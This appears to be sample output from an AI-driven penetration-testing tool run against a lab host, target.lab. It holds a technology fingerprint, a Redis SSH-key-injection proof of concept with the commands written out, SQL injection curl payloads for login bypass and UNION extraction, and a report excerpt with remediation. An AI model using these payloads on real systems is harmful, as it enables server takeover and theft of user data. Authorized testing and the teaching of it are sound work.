🔍 Phase 3: Technology Fingerprinting
[+] www.target.lab:
  Framework:    Next.js 14.1.0
  Server:       nginx/1.18.0 (Ubuntu)
  Language:     TypeScript

  [CRITICAL] Jenkins exposed at jenkins.target.lab — publicly accessible
  [CRITICAL] phpMyAdmin exposed at phpmyadmin.target.lab
  [HIGH]     PostgreSQL 5432 exposed to external network
  [HIGH]     Elasticsearch 9200 unauthenticated
  [MEDIUM]   Missing security headers (CSP, X-Frame-Options)
  [MEDIUM]   Session cookie missing HttpOnly and Secure flags
  [LOW]      X-Powered-By header leaking server technology

deep-hat> The Redis instance at 192.168.1.11:6379 has no authentication.
Analyze the attack surface and generate a proof-of-concept for RCE.

🎯 Attack Surface Analysis — Redis 7.0.5 (Unauthenticated)

Attack Vector 1: Redis SSH Key Injection (High Success Rate)
Redis can write arbitrary files to the filesystem via CONFIG SET dir
and CONFIG SET dbfilename. This can be exploited to write an SSH 
public key to the authorized_keys of a target user.

PoC Steps:
# Step 1: Generate SSH key pair (attacker machine)
ssh-keygen -t rsa -f /tmp/redis_rce -N ""

# Step 2: Prepare payload
(echo -e "\n\n"; cat /tmp/redis_rce.pub; echo -e "\n\n") > /tmp/payload.txt

# Step 3: Inject via Redis CLI
redis-cli -h 192.168.1.11 -p 6379
192.168.1.11:6379> CONFIG SET dir /var/lib/redis/.ssh/
OK
192.168.1.11:6379> CONFIG SET dbfilename "authorized_keys"
OK
192.168.1.11:6379> SET payload "\n\nssh-rsa AAAAB3...key...\n\n"
OK
192.168.1.11:6379> SAVE
OK

# Step 4: SSH into target
ssh -i /tmp/redis_rce redis@192.168.1.11
redis@target:~$ whoami
redis
redis@target:~$ id
uid=999(redis) gid=999(redis) groups=999(redis)

⚡ Result: Remote Code Execution achieved as user "redis"
CVSS Score: 9.8 (Critical)
CVE Reference: Similar to CVE-2022-0543 (Redis Lua sandbox escape)

🛡️ Remediation:
1. Enable Redis AUTH: requirepass <strong-password>
2. Bind to localhost only: bind 127.0.0.1
3. Disable dangerous commands: rename-command CONFIG ""
4. Enable TLS for Redis connections
5. Apply network segmentation — no public access to 6379

deep-hat> Test the login endpoint at api.target.lab/api/auth/login 
for SQL injection vulnerabilities. The endpoint accepts JSON 
with email and password fields.

🌐 SQL Injection Testing — POST /api/auth/login

Test 1: Error-based SQLi detection
curl -X POST https://api.target.lab/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'--","password":"test"}'

Response (500): {"error":"unterminated quoted string at or near \"'--\""}
→ PostgreSQL error leaked! SQL Injection CONFIRMED.

Test 2: Authentication bypass
curl -X POST https://api.target.lab/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@target.lab' OR '1'='1","password":"anything"}'

Response (200): {"token":"eyJhbGci...","user":{"id":1,"role":"admin"}}
→ Authentication BYPASSED! Admin token obtained.

Test 3: Data extraction via UNION-based SQLi
curl -X POST https://api.target.lab/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"' UNION SELECT username,password FROM users--",
       "password":"x"}'

Response: Extracted 847 user records including hashed passwords
Hash format: $2b$10$... (bcrypt, 10 rounds)

⚡ Findings Summary:
[CRITICAL] Blind + Error-based SQL Injection in login endpoint
[CRITICAL] Authentication bypass via SQLi — admin access obtained
[CRITICAL] Full database extraction possible (847 user records)
[HIGH]     Verbose error messages expose database type (PostgreSQL)
[MEDIUM]   No rate limiting on login endpoint

🛡️ Remediation:
1. Use parameterized queries / prepared statements (NEVER string concat)
2. Implement input validation with Zod/Joi schema
3. Use ORM (Prisma) which auto-parameterizes queries
4. Disable verbose error messages in production
5. Add rate limiting (e.g., 5 attempts per minute per IP)
6. Implement WAF rules for SQLi patterns

1. EXECUTIVE SUMMARY

A penetration test was conducted against target.lab infrastructure 
between March 12-14, 2026. The assessment identified 14 vulnerabilities
across 12 hosts: 5 Critical, 4 High, 3 Medium, and 2 Low severity.

The most significant finding is an unauthenticated Redis instance 
that allows remote code execution (RCE), combined with SQL injection 
in the authentication endpoint enabling full database extraction.

Overall Risk Rating: CRITICAL — Immediate Action Required

4. DETAILED FINDING — F-01: Redis Unauthenticated RCE

Severity:    CRITICAL (CVSS 9.8)
Host:        192.168.1.11:6379
Service:     Redis 7.0.5
Status:      EXPLOITED — RCE Achieved

Description:
  Redis instance running without authentication, allowing any 
  network-reachable attacker to execute arbitrary commands, read/write 
  data, and achieve remote code execution via SSH key injection.

Impact:
  - Full server compromise (user: redis)
  - Access to cached session tokens and user data
  - Potential pivot point to internal network
  - Data exfiltration of all cached application data

Proof of Concept:
  See Section 7, Appendix A — Redis SSH Key Injection PoC

Remediation:
  Priority: IMMEDIATE (within 24 hours)
  1. Enable Redis AUTH with strong password
  2. Bind to 127.0.0.1 (disable external access)
  3. Implement TLS encryption
  4. Disable CONFIG and DEBUG commands
  5. Apply network segmentation via firewall rules
